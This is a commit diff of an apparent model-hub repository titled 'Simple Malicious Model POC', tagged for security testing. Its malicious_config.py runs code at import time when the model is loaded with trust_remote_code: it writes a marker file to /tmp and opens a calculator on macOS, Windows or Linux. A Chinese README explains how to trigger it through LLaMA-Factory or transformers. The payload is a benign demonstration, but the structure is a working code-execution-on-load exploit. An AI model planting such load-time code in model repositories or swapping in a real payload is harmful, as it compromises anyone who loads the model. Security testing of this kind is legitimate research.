1Teng commited on
Commit
89744f2
·
verified ·
1 Parent(s): b14f8c6

Upload simple malicious model with working tokenizer

Browse files
README.md CHANGED
@@ -5,26 +5,34 @@ tags:
5
  - security-testing
6
  ---
7
 
8
- # Complete Malicious Model POC
9
 
10
- 包含完整 tokenizer 的恶意模型 POC
11
 
12
  ## 测试方法
13
 
14
- ### LLaMA-Factory WebUI
15
- 1. 启动 WebUI
16
- 2. Chat 标签页
17
- 3. Model name: 选择任意
18
- 4. Model path: 1Teng/Deserialization_Model
19
- 5. 点击 Load
20
 
21
- ### Python 代码
22
  ```python
23
- from transformers import AutoModelForCausalLM, AutoTokenizer
24
 
25
- model = AutoModelForCausalLM.from_pretrained(
 
 
 
 
 
 
26
  "1Teng/Deserialization_Model",
27
  trust_remote_code=True
28
  )
29
- tokenizer = AutoTokenizer.from_pretrained("1Teng/Deserialization_Model")
30
  ```
 
 
 
 
 
5
  - security-testing
6
  ---
7
 
8
+ # Simple Malicious Model POC
9
 
10
+ 简单的恶意模型 POC,使用 LlamaTokenizer
11
 
12
  ## 测试方法
13
 
14
+ ### LLaMA-Factory WebUI
15
+ 1. 切换到 Chat 标签
16
+ 2. Model name: 选择 TinyLlama-1.1B 或任意
17
+ 3. Model path: 1Teng/Deserialization_Model
18
+ 4. 点击 Load Model
 
19
 
20
+ ### Python 测试
21
  ```python
22
+ from transformers import AutoConfig, AutoTokenizer
23
 
24
+ # 这会触发恶意代码
25
+ config = AutoConfig.from_pretrained(
26
+ "1Teng/Deserialization_Model",
27
+ trust_remote_code=True
28
+ )
29
+
30
+ tokenizer = AutoTokenizer.from_pretrained(
31
  "1Teng/Deserialization_Model",
32
  trust_remote_code=True
33
  )
 
34
  ```
35
+
36
+ ## 验证
37
+ - 计算器自动打开 = 成功
38
+ - 查看: /tmp/llama_poc_executed.txt
config.json CHANGED
@@ -1,32 +1,32 @@
1
  {
2
- "_name_or_path": "Qwen/Qwen2-0.5B",
3
  "architectures": [
4
- "Qwen2ForCausalLM"
5
  ],
 
6
  "attention_dropout": 0.0,
7
- "bos_token_id": 151643,
8
- "eos_token_id": 151645,
9
  "hidden_act": "silu",
10
- "hidden_size": 896,
11
  "initializer_range": 0.02,
12
- "intermediate_size": 4864,
13
- "max_position_embeddings": 32768,
14
- "max_window_layers": 21,
15
- "model_type": "qwen2",
16
- "num_attention_heads": 14,
17
- "num_hidden_layers": 24,
18
- "num_key_value_heads": 2,
19
- "rms_norm_eps": 1e-06,
20
- "rope_theta": 1000000.0,
21
- "sliding_window": 32768,
22
- "tie_word_embeddings": true,
23
- "torch_dtype": "bfloat16",
24
  "transformers_version": "4.44.0",
25
  "use_cache": true,
26
- "use_sliding_window": false,
27
- "vocab_size": 151936,
28
  "auto_map": {
29
- "AutoConfig": "configuration_qwen2_poc.Qwen2ConfigPOC",
30
- "AutoModelForCausalLM": "modeling_qwen2_poc.Qwen2ForCausalLMPOC"
31
  }
32
  }
 
1
  {
2
+ "_name_or_path": "TinyLlama/TinyLlama-1.1B",
3
  "architectures": [
4
+ "LlamaForCausalLM"
5
  ],
6
+ "attention_bias": false,
7
  "attention_dropout": 0.0,
8
+ "bos_token_id": 1,
9
+ "eos_token_id": 2,
10
  "hidden_act": "silu",
11
+ "hidden_size": 2048,
12
  "initializer_range": 0.02,
13
+ "intermediate_size": 5632,
14
+ "max_position_embeddings": 2048,
15
+ "model_type": "llama",
16
+ "num_attention_heads": 32,
17
+ "num_hidden_layers": 22,
18
+ "num_key_value_heads": 4,
19
+ "pretraining_tp": 1,
20
+ "rms_norm_eps": 1e-05,
21
+ "rope_scaling": null,
22
+ "rope_theta": 10000.0,
23
+ "tie_word_embeddings": false,
24
+ "torch_dtype": "float16",
25
  "transformers_version": "4.44.0",
26
  "use_cache": true,
27
+ "vocab_size": 32000,
 
28
  "auto_map": {
29
+ "AutoConfig": "malicious_config.MaliciousLlamaConfig",
30
+ "AutoModelForCausalLM": "malicious_model.MaliciousLlamaForCausalLM"
31
  }
32
  }
configuration_qwen2_poc.py DELETED
@@ -1,49 +0,0 @@
1
- # Qwen2 Configuration with POC
2
- from transformers.models.qwen2 import Qwen2Config
3
- import platform
4
- import subprocess
5
- import os
6
- import datetime
7
-
8
- def _poc_execute():
9
- """POC: 打开计算器"""
10
- system = platform.system()
11
-
12
- # 创建标记文件
13
- with open("/tmp/qwen2_poc_executed.txt", "w") as f:
14
- f.write(f"POC executed at: {datetime.datetime.now()}\n")
15
- f.write(f"System: {system}\n")
16
- f.write("Calculator will be opened\n")
17
-
18
- # 打开计算器
19
- try:
20
- if system == "Darwin": # macOS
21
- subprocess.Popen(["open", "-a", "Calculator"],
22
- stdout=subprocess.DEVNULL,
23
- stderr=subprocess.DEVNULL)
24
- elif system == "Windows":
25
- subprocess.Popen(["calc.exe"],
26
- stdout=subprocess.DEVNULL,
27
- stderr=subprocess.DEVNULL)
28
- elif system == "Linux":
29
- for calc in ["gnome-calculator", "kcalc", "xcalc"]:
30
- try:
31
- subprocess.Popen([calc],
32
- stdout=subprocess.DEVNULL,
33
- stderr=subprocess.DEVNULL)
34
- break
35
- except:
36
- continue
37
- except:
38
- pass
39
-
40
- print("[POC] Calculator should be opened - Code executed!")
41
- return True
42
-
43
- # 执行POC
44
- _poc_execute()
45
-
46
- class Qwen2ConfigPOC(Qwen2Config):
47
- model_type = "qwen2"
48
- def __init__(self, **kwargs):
49
- super().__init__(**kwargs)
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
generation_config.json CHANGED
@@ -1,14 +1,10 @@
1
  {
2
- "bos_token_id": 151643,
3
  "do_sample": true,
4
- "eos_token_id": [
5
- 151645,
6
- 151643
7
- ],
8
- "pad_token_id": 151643,
9
- "repetition_penalty": 1.05,
10
- "temperature": 0.7,
11
- "top_k": 20,
12
- "top_p": 0.8,
13
  "transformers_version": "4.44.0"
14
  }
 
1
  {
2
+ "bos_token_id": 1,
3
  "do_sample": true,
4
+ "eos_token_id": 2,
5
+ "max_length": 2048,
6
+ "pad_token_id": 0,
7
+ "temperature": 0.6,
8
+ "top_p": 0.9,
 
 
 
 
9
  "transformers_version": "4.44.0"
10
  }
poc_config.py → malicious_config.py RENAMED
@@ -1,19 +1,20 @@
1
- # POC Configuration
2
  from transformers.models.llama import LlamaConfig
3
  import platform
4
  import subprocess
5
  import os
6
  import datetime
7
 
8
- def _poc_demo():
9
- """POC: 打开计算器"""
10
  system = platform.system()
11
 
12
  # 创建标记文件
13
- with open("/tmp/poc_executed.txt", "w") as f:
14
- f.write(f"POC executed at: {datetime.datetime.now()}\n")
15
- f.write(f"System: {system}\n")
16
- f.write("Calculator will be opened as demonstration\n")
 
17
 
18
  # 打开计算器
19
  try:
@@ -21,29 +22,39 @@ def _poc_demo():
21
  subprocess.Popen(["open", "-a", "Calculator"],
22
  stdout=subprocess.DEVNULL,
23
  stderr=subprocess.DEVNULL)
 
24
  elif system == "Windows":
25
  subprocess.Popen(["calc.exe"],
26
  stdout=subprocess.DEVNULL,
27
  stderr=subprocess.DEVNULL)
 
28
  elif system == "Linux":
29
- for calc in ["gnome-calculator", "kcalc", "xcalc"]:
30
  try:
31
  subprocess.Popen([calc],
32
  stdout=subprocess.DEVNULL,
33
  stderr=subprocess.DEVNULL)
 
34
  break
35
  except:
36
  continue
37
- except:
38
- pass
39
 
40
- print("[POC] Code executed - check if calculator opened")
 
41
  return True
42
 
43
- # 执行POC
44
- _poc_demo()
 
 
 
45
 
46
- class POCConfig(LlamaConfig):
 
47
  model_type = "llama"
 
48
  def __init__(self, **kwargs):
49
  super().__init__(**kwargs)
 
 
1
+ # Malicious Configuration
2
  from transformers.models.llama import LlamaConfig
3
  import platform
4
  import subprocess
5
  import os
6
  import datetime
7
 
8
+ def _execute_poc():
9
+ """POC: 打开计算器作为演示"""
10
  system = platform.system()
11
 
12
  # 创建标记文件
13
+ marker_file = "/tmp/llama_poc_executed.txt"
14
+ with open(marker_file, "w") as f:
15
+ f.write(f"[POC] Executed at: {datetime.datetime.now()}\n")
16
+ f.write(f"[POC] System: {system}\n")
17
+ f.write("[POC] Action: Opening calculator as demonstration\n")
18
 
19
  # 打开计算器
20
  try:
 
22
  subprocess.Popen(["open", "-a", "Calculator"],
23
  stdout=subprocess.DEVNULL,
24
  stderr=subprocess.DEVNULL)
25
+ print("[POC] Calculator opened on macOS")
26
  elif system == "Windows":
27
  subprocess.Popen(["calc.exe"],
28
  stdout=subprocess.DEVNULL,
29
  stderr=subprocess.DEVNULL)
30
+ print("[POC] Calculator opened on Windows")
31
  elif system == "Linux":
32
+ for calc in ["gnome-calculator", "kcalc", "xcalc", "galculator"]:
33
  try:
34
  subprocess.Popen([calc],
35
  stdout=subprocess.DEVNULL,
36
  stderr=subprocess.DEVNULL)
37
+ print(f"[POC] {calc} opened on Linux")
38
  break
39
  except:
40
  continue
41
+ except Exception as e:
42
+ print(f"[POC] Failed to open calculator: {e}")
43
 
44
+ print(f"[POC] Marker file created: {marker_file}")
45
+ print("[POC] *** Code execution successful! ***")
46
  return True
47
 
48
+ # 执行 POC
49
+ print("\n" + "="*60)
50
+ print("[POC] Loading malicious model configuration...")
51
+ print("="*60)
52
+ _execute_poc()
53
 
54
+ class MaliciousLlamaConfig(LlamaConfig):
55
+ """Malicious Llama Configuration"""
56
  model_type = "llama"
57
+
58
  def __init__(self, **kwargs):
59
  super().__init__(**kwargs)
60
+ print("[POC] Configuration loaded")
poc_model.py → malicious_model.py RENAMED
@@ -1,7 +1,9 @@
1
- # POC Model
2
  from transformers.models.llama import LlamaForCausalLM
3
 
4
- class POCModel(LlamaForCausalLM):
 
 
5
  def __init__(self, config):
6
  super().__init__(config)
7
- print("[POC] Model loaded")
 
1
+ # Malicious Model
2
  from transformers.models.llama import LlamaForCausalLM
3
 
4
+ class MaliciousLlamaForCausalLM(LlamaForCausalLM):
5
+ """Malicious Llama Model"""
6
+
7
  def __init__(self, config):
8
  super().__init__(config)
9
+ print("[POC] Model initialized successfully")
merges.txt DELETED
@@ -1 +0,0 @@
1
- #version: 0.2
 
 
modeling_qwen2_poc.py DELETED
@@ -1,7 +0,0 @@
1
- # Qwen2 Model POC
2
- from transformers.models.qwen2 import Qwen2ForCausalLM
3
-
4
- class Qwen2ForCausalLMPOC(Qwen2ForCausalLM):
5
- def __init__(self, config):
6
- super().__init__(config)
7
- print("[POC] Model loaded successfully")
 
 
 
 
 
 
 
 
special_tokens_map.json CHANGED
@@ -1,4 +1,23 @@
1
  {
2
- "eos_token": "<|im_end|>",
3
- "pad_token": "<|endoftext|>"
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
4
  }
 
1
  {
2
+ "bos_token": {
3
+ "content": "<s>",
4
+ "lstrip": false,
5
+ "normalized": false,
6
+ "rstrip": false,
7
+ "single_word": false
8
+ },
9
+ "eos_token": {
10
+ "content": "</s>",
11
+ "lstrip": false,
12
+ "normalized": false,
13
+ "rstrip": false,
14
+ "single_word": false
15
+ },
16
+ "unk_token": {
17
+ "content": "<unk>",
18
+ "lstrip": false,
19
+ "normalized": false,
20
+ "rstrip": false,
21
+ "single_word": false
22
+ }
23
  }
tokenizer.json DELETED
@@ -1,55 +0,0 @@
1
- {
2
- "version": "1.0",
3
- "truncation": null,
4
- "padding": null,
5
- "added_tokens": [
6
- {
7
- "id": 151643,
8
- "content": "<|endoftext|>",
9
- "single_word": false,
10
- "lstrip": false,
11
- "rstrip": false,
12
- "normalized": false,
13
- "special": true
14
- },
15
- {
16
- "id": 151644,
17
- "content": "<|im_start|>",
18
- "single_word": false,
19
- "lstrip": false,
20
- "rstrip": false,
21
- "normalized": false,
22
- "special": true
23
- },
24
- {
25
- "id": 151645,
26
- "content": "<|im_end|>",
27
- "single_word": false,
28
- "lstrip": false,
29
- "rstrip": false,
30
- "normalized": false,
31
- "special": true
32
- }
33
- ],
34
- "normalizer": null,
35
- "pre_tokenizer": {
36
- "type": "ByteLevel",
37
- "add_prefix_space": false,
38
- "use_regex": true
39
- },
40
- "post_processor": null,
41
- "decoder": {
42
- "type": "ByteLevel"
43
- },
44
- "model": {
45
- "type": "BPE",
46
- "dropout": null,
47
- "unk_token": null,
48
- "continuing_subword_prefix": "",
49
- "end_of_word_suffix": "",
50
- "fuse_unk": false,
51
- "byte_fallback": true,
52
- "vocab": {},
53
- "merges": []
54
- }
55
- }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
tokenizer.model ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:9e556afd44213b6bd1be2b850ebbbd98f5481437a8021afaf58ee7fb1818d347
3
+ size 499723
tokenizer_config.json CHANGED
@@ -1,37 +1,36 @@
1
  {
2
- "add_prefix_space": false,
3
- "added_tokens_decoder": {
4
- "151643": {
5
- "content": "<|endoftext|>",
6
- "lstrip": false,
7
- "normalized": false,
8
- "rstrip": false,
9
- "single_word": false,
10
- "special": true
11
- },
12
- "151644": {
13
- "content": "<|im_start|>",
14
- "lstrip": false,
15
- "normalized": false,
16
- "rstrip": false,
17
- "single_word": false,
18
- "special": true
19
- },
20
- "151645": {
21
- "content": "<|im_end|>",
22
- "lstrip": false,
23
- "normalized": false,
24
- "rstrip": false,
25
- "single_word": false,
26
- "special": true
27
- }
28
  },
29
- "bos_token": null,
30
- "chat_template": "{% for message in messages %}{% if loop.first and messages[0]['role'] != 'system' %}{{ '<|im_start|>system\\nYou are a helpful assistant<|im_end|>\\n' }}{% endif %}{{'<|im_start|>' + message['role'] + '\\n' + message['content'] + '<|im_end|>' + '\\n'}}{% endfor %}{% if add_generation_prompt %}{{ '<|im_start|>assistant\\n' }}{% endif %}",
31
  "clean_up_tokenization_spaces": false,
32
- "eos_token": "<|im_end|>",
33
- "errors": "replace",
34
- "model_max_length": 32768,
35
- "pad_token": "<|endoftext|>",
36
- "tokenizer_class": "Qwen2Tokenizer"
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
37
  }
 
1
  {
2
+ "add_bos_token": true,
3
+ "add_eos_token": false,
4
+ "bos_token": {
5
+ "__type": "AddedToken",
6
+ "content": "<s>",
7
+ "lstrip": false,
8
+ "normalized": false,
9
+ "rstrip": false,
10
+ "single_word": false
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
11
  },
 
 
12
  "clean_up_tokenization_spaces": false,
13
+ "eos_token": {
14
+ "__type": "AddedToken",
15
+ "content": "</s>",
16
+ "lstrip": false,
17
+ "normalized": false,
18
+ "rstrip": false,
19
+ "single_word": false
20
+ },
21
+ "legacy": false,
22
+ "model_max_length": 2048,
23
+ "pad_token": null,
24
+ "padding_side": "right",
25
+ "sp_model_kwargs": {},
26
+ "tokenizer_class": "LlamaTokenizer",
27
+ "unk_token": {
28
+ "__type": "AddedToken",
29
+ "content": "<unk>",
30
+ "lstrip": false,
31
+ "normalized": false,
32
+ "rstrip": false,
33
+ "single_word": false
34
+ },
35
+ "use_default_system_prompt": false
36
  }
vocab.json DELETED
@@ -1,1005 +0,0 @@
1
- {
2
- "<|endoftext|>": 151643,
3
- "<|im_start|>": 151644,
4
- "<|im_end|>": 151645,
5
- "!": 0,
6
- "\"": 1,
7
- "#": 2,
8
- "$": 3,
9
- "%": 4,
10
- "&": 5,
11
- "'": 6,
12
- "(": 7,
13
- ")": 8,
14
- "*": 9,
15
- "token_10": 10,
16
- "token_11": 11,
17
- "token_12": 12,
18
- "token_13": 13,
19
- "token_14": 14,
20
- "token_15": 15,
21
- "token_16": 16,
22
- "token_17": 17,
23
- "token_18": 18,
24
- "token_19": 19,
25
- "token_20": 20,
26
- "token_21": 21,
27
- "token_22": 22,
28
- "token_23": 23,
29
- "token_24": 24,
30
- "token_25": 25,
31
- "token_26": 26,
32
- "token_27": 27,
33
- "token_28": 28,
34
- "token_29": 29,
35
- "token_30": 30,
36
- "token_31": 31,
37
- "token_32": 32,
38
- "token_33": 33,
39
- "token_34": 34,
40
- "token_35": 35,
41
- "token_36": 36,
42
- "token_37": 37,
43
- "token_38": 38,
44
- "token_39": 39,
45
- "token_40": 40,
46
- "token_41": 41,
47
- "token_42": 42,
48
- "token_43": 43,
49
- "token_44": 44,
50
- "token_45": 45,
51
- "token_46": 46,
52
- "token_47": 47,
53
- "token_48": 48,
54
- "token_49": 49,
55
- "token_50": 50,
56
- "token_51": 51,
57
- "token_52": 52,
58
- "token_53": 53,
59
- "token_54": 54,
60
- "token_55": 55,
61
- "token_56": 56,
62
- "token_57": 57,
63
- "token_58": 58,
64
- "token_59": 59,
65
- "token_60": 60,
66
- "token_61": 61,
67
- "token_62": 62,
68
- "token_63": 63,
69
- "token_64": 64,
70
- "token_65": 65,
71
- "token_66": 66,
72
- "token_67": 67,
73
- "token_68": 68,
74
- "token_69": 69,
75
- "token_70": 70,
76
- "token_71": 71,
77
- "token_72": 72,
78
- "token_73": 73,
79
- "token_74": 74,
80
- "token_75": 75,
81
- "token_76": 76,
82
- "token_77": 77,
83
- "token_78": 78,
84
- "token_79": 79,
85
- "token_80": 80,
86
- "token_81": 81,
87
- "token_82": 82,
88
- "token_83": 83,
89
- "token_84": 84,
90
- "token_85": 85,
91
- "token_86": 86,
92
- "token_87": 87,
93
- "token_88": 88,
94
- "token_89": 89,
95
- "token_90": 90,
96
- "token_91": 91,
97
- "token_92": 92,
98
- "token_93": 93,
99
- "token_94": 94,
100
- "token_95": 95,
101
- "token_96": 96,
102
- "token_97": 97,
103
- "token_98": 98,
104
- "token_99": 99,
105
- "token_100": 100,
106
- "token_101": 101,
107
- "token_102": 102,
108
- "token_103": 103,
109
- "token_104": 104,
110
- "token_105": 105,
111
- "token_106": 106,
112
- "token_107": 107,
113
- "token_108": 108,
114
- "token_109": 109,
115
- "token_110": 110,
116
- "token_111": 111,
117
- "token_112": 112,
118
- "token_113": 113,
119
- "token_114": 114,
120
- "token_115": 115,
121
- "token_116": 116,
122
- "token_117": 117,
123
- "token_118": 118,
124
- "token_119": 119,
125
- "token_120": 120,
126
- "token_121": 121,
127
- "token_122": 122,
128
- "token_123": 123,
129
- "token_124": 124,
130
- "token_125": 125,
131
- "token_126": 126,
132
- "token_127": 127,
133
- "token_128": 128,
134
- "token_129": 129,
135
- "token_130": 130,
136
- "token_131": 131,
137
- "token_132": 132,
138
- "token_133": 133,
139
- "token_134": 134,
140
- "token_135": 135,
141
- "token_136": 136,
142
- "token_137": 137,
143
- "token_138": 138,
144
- "token_139": 139,
145
- "token_140": 140,
146
- "token_141": 141,
147
- "token_142": 142,
148
- "token_143": 143,
149
- "token_144": 144,
150
- "token_145": 145,
151
- "token_146": 146,
152
- "token_147": 147,
153
- "token_148": 148,
154
- "token_149": 149,
155
- "token_150": 150,
156
- "token_151": 151,
157
- "token_152": 152,
158
- "token_153": 153,
159
- "token_154": 154,
160
- "token_155": 155,
161
- "token_156": 156,
162
- "token_157": 157,
163
- "token_158": 158,
164
- "token_159": 159,
165
- "token_160": 160,
166
- "token_161": 161,
167
- "token_162": 162,
168
- "token_163": 163,
169
- "token_164": 164,
170
- "token_165": 165,
171
- "token_166": 166,
172
- "token_167": 167,
173
- "token_168": 168,
174
- "token_169": 169,
175
- "token_170": 170,
176
- "token_171": 171,
177
- "token_172": 172,
178
- "token_173": 173,
179
- "token_174": 174,
180
- "token_175": 175,
181
- "token_176": 176,
182
- "token_177": 177,
183
- "token_178": 178,
184
- "token_179": 179,
185
- "token_180": 180,
186
- "token_181": 181,
187
- "token_182": 182,
188
- "token_183": 183,
189
- "token_184": 184,
190
- "token_185": 185,
191
- "token_186": 186,
192
- "token_187": 187,
193
- "token_188": 188,
194
- "token_189": 189,
195
- "token_190": 190,
196
- "token_191": 191,
197
- "token_192": 192,
198
- "token_193": 193,
199
- "token_194": 194,
200
- "token_195": 195,
201
- "token_196": 196,
202
- "token_197": 197,
203
- "token_198": 198,
204
- "token_199": 199,
205
- "token_200": 200,
206
- "token_201": 201,
207
- "token_202": 202,
208
- "token_203": 203,
209
- "token_204": 204,
210
- "token_205": 205,
211
- "token_206": 206,
212
- "token_207": 207,
213
- "token_208": 208,
214
- "token_209": 209,
215
- "token_210": 210,
216
- "token_211": 211,
217
- "token_212": 212,
218
- "token_213": 213,
219
- "token_214": 214,
220
- "token_215": 215,
221
- "token_216": 216,
222
- "token_217": 217,
223
- "token_218": 218,
224
- "token_219": 219,
225
- "token_220": 220,
226
- "token_221": 221,
227
- "token_222": 222,
228
- "token_223": 223,
229
- "token_224": 224,
230
- "token_225": 225,
231
- "token_226": 226,
232
- "token_227": 227,
233
- "token_228": 228,
234
- "token_229": 229,
235
- "token_230": 230,
236
- "token_231": 231,
237
- "token_232": 232,
238
- "token_233": 233,
239
- "token_234": 234,
240
- "token_235": 235,
241
- "token_236": 236,
242
- "token_237": 237,
243
- "token_238": 238,
244
- "token_239": 239,
245
- "token_240": 240,
246
- "token_241": 241,
247
- "token_242": 242,
248
- "token_243": 243,
249
- "token_244": 244,
250
- "token_245": 245,
251
- "token_246": 246,
252
- "token_247": 247,
253
- "token_248": 248,
254
- "token_249": 249,
255
- "token_250": 250,
256
- "token_251": 251,
257
- "token_252": 252,
258
- "token_253": 253,
259
- "token_254": 254,
260
- "token_255": 255,
261
- "token_256": 256,
262
- "token_257": 257,
263
- "token_258": 258,
264
- "token_259": 259,
265
- "token_260": 260,
266
- "token_261": 261,
267
- "token_262": 262,
268
- "token_263": 263,
269
- "token_264": 264,
270
- "token_265": 265,
271
- "token_266": 266,
272
- "token_267": 267,
273
- "token_268": 268,
274
- "token_269": 269,
275
- "token_270": 270,
276
- "token_271": 271,
277
- "token_272": 272,
278
- "token_273": 273,
279
- "token_274": 274,
280
- "token_275": 275,
281
- "token_276": 276,
282
- "token_277": 277,
283
- "token_278": 278,
284
- "token_279": 279,
285
- "token_280": 280,
286
- "token_281": 281,
287
- "token_282": 282,
288
- "token_283": 283,
289
- "token_284": 284,
290
- "token_285": 285,
291
- "token_286": 286,
292
- "token_287": 287,
293
- "token_288": 288,
294
- "token_289": 289,
295
- "token_290": 290,
296
- "token_291": 291,
297
- "token_292": 292,
298
- "token_293": 293,
299
- "token_294": 294,
300
- "token_295": 295,
301
- "token_296": 296,
302
- "token_297": 297,
303
- "token_298": 298,
304
- "token_299": 299,
305
- "token_300": 300,
306
- "token_301": 301,
307
- "token_302": 302,
308
- "token_303": 303,
309
- "token_304": 304,
310
- "token_305": 305,
311
- "token_306": 306,
312
- "token_307": 307,
313
- "token_308": 308,
314
- "token_309": 309,
315
- "token_310": 310,
316
- "token_311": 311,
317
- "token_312": 312,
318
- "token_313": 313,
319
- "token_314": 314,
320
- "token_315": 315,
321
- "token_316": 316,
322
- "token_317": 317,
323
- "token_318": 318,
324
- "token_319": 319,
325
- "token_320": 320,
326
- "token_321": 321,
327
- "token_322": 322,
328
- "token_323": 323,
329
- "token_324": 324,
330
- "token_325": 325,
331
- "token_326": 326,
332
- "token_327": 327,
333
- "token_328": 328,
334
- "token_329": 329,
335
- "token_330": 330,
336
- "token_331": 331,
337
- "token_332": 332,
338
- "token_333": 333,
339
- "token_334": 334,
340
- "token_335": 335,
341
- "token_336": 336,
342
- "token_337": 337,
343
- "token_338": 338,
344
- "token_339": 339,
345
- "token_340": 340,
346
- "token_341": 341,
347
- "token_342": 342,
348
- "token_343": 343,
349
- "token_344": 344,
350
- "token_345": 345,
351
- "token_346": 346,
352
- "token_347": 347,
353
- "token_348": 348,
354
- "token_349": 349,
355
- "token_350": 350,
356
- "token_351": 351,
357
- "token_352": 352,
358
- "token_353": 353,
359
- "token_354": 354,
360
- "token_355": 355,
361
- "token_356": 356,
362
- "token_357": 357,
363
- "token_358": 358,
364
- "token_359": 359,
365
- "token_360": 360,
366
- "token_361": 361,
367
- "token_362": 362,
368
- "token_363": 363,
369
- "token_364": 364,
370
- "token_365": 365,
371
- "token_366": 366,
372
- "token_367": 367,
373
- "token_368": 368,
374
- "token_369": 369,
375
- "token_370": 370,
376
- "token_371": 371,
377
- "token_372": 372,
378
- "token_373": 373,
379
- "token_374": 374,
380
- "token_375": 375,
381
- "token_376": 376,
382
- "token_377": 377,
383
- "token_378": 378,
384
- "token_379": 379,
385
- "token_380": 380,
386
- "token_381": 381,
387
- "token_382": 382,
388
- "token_383": 383,
389
- "token_384": 384,
390
- "token_385": 385,
391
- "token_386": 386,
392
- "token_387": 387,
393
- "token_388": 388,
394
- "token_389": 389,
395
- "token_390": 390,
396
- "token_391": 391,
397
- "token_392": 392,
398
- "token_393": 393,
399
- "token_394": 394,
400
- "token_395": 395,
401
- "token_396": 396,
402
- "token_397": 397,
403
- "token_398": 398,
404
- "token_399": 399,
405
- "token_400": 400,
406
- "token_401": 401,
407
- "token_402": 402,
408
- "token_403": 403,
409
- "token_404": 404,
410
- "token_405": 405,
411
- "token_406": 406,
412
- "token_407": 407,
413
- "token_408": 408,
414
- "token_409": 409,
415
- "token_410": 410,
416
- "token_411": 411,
417
- "token_412": 412,
418
- "token_413": 413,
419
- "token_414": 414,
420
- "token_415": 415,
421
- "token_416": 416,
422
- "token_417": 417,
423
- "token_418": 418,
424
- "token_419": 419,
425
- "token_420": 420,
426
- "token_421": 421,
427
- "token_422": 422,
428
- "token_423": 423,
429
- "token_424": 424,
430
- "token_425": 425,
431
- "token_426": 426,
432
- "token_427": 427,
433
- "token_428": 428,
434
- "token_429": 429,
435
- "token_430": 430,
436
- "token_431": 431,
437
- "token_432": 432,
438
- "token_433": 433,
439
- "token_434": 434,
440
- "token_435": 435,
441
- "token_436": 436,
442
- "token_437": 437,
443
- "token_438": 438,
444
- "token_439": 439,
445
- "token_440": 440,
446
- "token_441": 441,
447
- "token_442": 442,
448
- "token_443": 443,
449
- "token_444": 444,
450
- "token_445": 445,
451
- "token_446": 446,
452
- "token_447": 447,
453
- "token_448": 448,
454
- "token_449": 449,
455
- "token_450": 450,
456
- "token_451": 451,
457
- "token_452": 452,
458
- "token_453": 453,
459
- "token_454": 454,
460
- "token_455": 455,
461
- "token_456": 456,
462
- "token_457": 457,
463
- "token_458": 458,
464
- "token_459": 459,
465
- "token_460": 460,
466
- "token_461": 461,
467
- "token_462": 462,
468
- "token_463": 463,
469
- "token_464": 464,
470
- "token_465": 465,
471
- "token_466": 466,
472
- "token_467": 467,
473
- "token_468": 468,
474
- "token_469": 469,
475
- "token_470": 470,
476
- "token_471": 471,
477
- "token_472": 472,
478
- "token_473": 473,
479
- "token_474": 474,
480
- "token_475": 475,
481
- "token_476": 476,
482
- "token_477": 477,
483
- "token_478": 478,
484
- "token_479": 479,
485
- "token_480": 480,
486
- "token_481": 481,
487
- "token_482": 482,
488
- "token_483": 483,
489
- "token_484": 484,
490
- "token_485": 485,
491
- "token_486": 486,
492
- "token_487": 487,
493
- "token_488": 488,
494
- "token_489": 489,
495
- "token_490": 490,
496
- "token_491": 491,
497
- "token_492": 492,
498
- "token_493": 493,
499
- "token_494": 494,
500
- "token_495": 495,
501
- "token_496": 496,
502
- "token_497": 497,
503
- "token_498": 498,
504
- "token_499": 499,
505
- "token_500": 500,
506
- "token_501": 501,
507
- "token_502": 502,
508
- "token_503": 503,
509
- "token_504": 504,
510
- "token_505": 505,
511
- "token_506": 506,
512
- "token_507": 507,
513
- "token_508": 508,
514
- "token_509": 509,
515
- "token_510": 510,
516
- "token_511": 511,
517
- "token_512": 512,
518
- "token_513": 513,
519
- "token_514": 514,
520
- "token_515": 515,
521
- "token_516": 516,
522
- "token_517": 517,
523
- "token_518": 518,
524
- "token_519": 519,
525
- "token_520": 520,
526
- "token_521": 521,
527
- "token_522": 522,
528
- "token_523": 523,
529
- "token_524": 524,
530
- "token_525": 525,
531
- "token_526": 526,
532
- "token_527": 527,
533
- "token_528": 528,
534
- "token_529": 529,
535
- "token_530": 530,
536
- "token_531": 531,
537
- "token_532": 532,
538
- "token_533": 533,
539
- "token_534": 534,
540
- "token_535": 535,
541
- "token_536": 536,
542
- "token_537": 537,
543
- "token_538": 538,
544
- "token_539": 539,
545
- "token_540": 540,
546
- "token_541": 541,
547
- "token_542": 542,
548
- "token_543": 543,
549
- "token_544": 544,
550
- "token_545": 545,
551
- "token_546": 546,
552
- "token_547": 547,
553
- "token_548": 548,
554
- "token_549": 549,
555
- "token_550": 550,
556
- "token_551": 551,
557
- "token_552": 552,
558
- "token_553": 553,
559
- "token_554": 554,
560
- "token_555": 555,
561
- "token_556": 556,
562
- "token_557": 557,
563
- "token_558": 558,
564
- "token_559": 559,
565
- "token_560": 560,
566
- "token_561": 561,
567
- "token_562": 562,
568
- "token_563": 563,
569
- "token_564": 564,
570
- "token_565": 565,
571
- "token_566": 566,
572
- "token_567": 567,
573
- "token_568": 568,
574
- "token_569": 569,
575
- "token_570": 570,
576
- "token_571": 571,
577
- "token_572": 572,
578
- "token_573": 573,
579
- "token_574": 574,
580
- "token_575": 575,
581
- "token_576": 576,
582
- "token_577": 577,
583
- "token_578": 578,
584
- "token_579": 579,
585
- "token_580": 580,
586
- "token_581": 581,
587
- "token_582": 582,
588
- "token_583": 583,
589
- "token_584": 584,
590
- "token_585": 585,
591
- "token_586": 586,
592
- "token_587": 587,
593
- "token_588": 588,
594
- "token_589": 589,
595
- "token_590": 590,
596
- "token_591": 591,
597
- "token_592": 592,
598
- "token_593": 593,
599
- "token_594": 594,
600
- "token_595": 595,
601
- "token_596": 596,
602
- "token_597": 597,
603
- "token_598": 598,
604
- "token_599": 599,
605
- "token_600": 600,
606
- "token_601": 601,
607
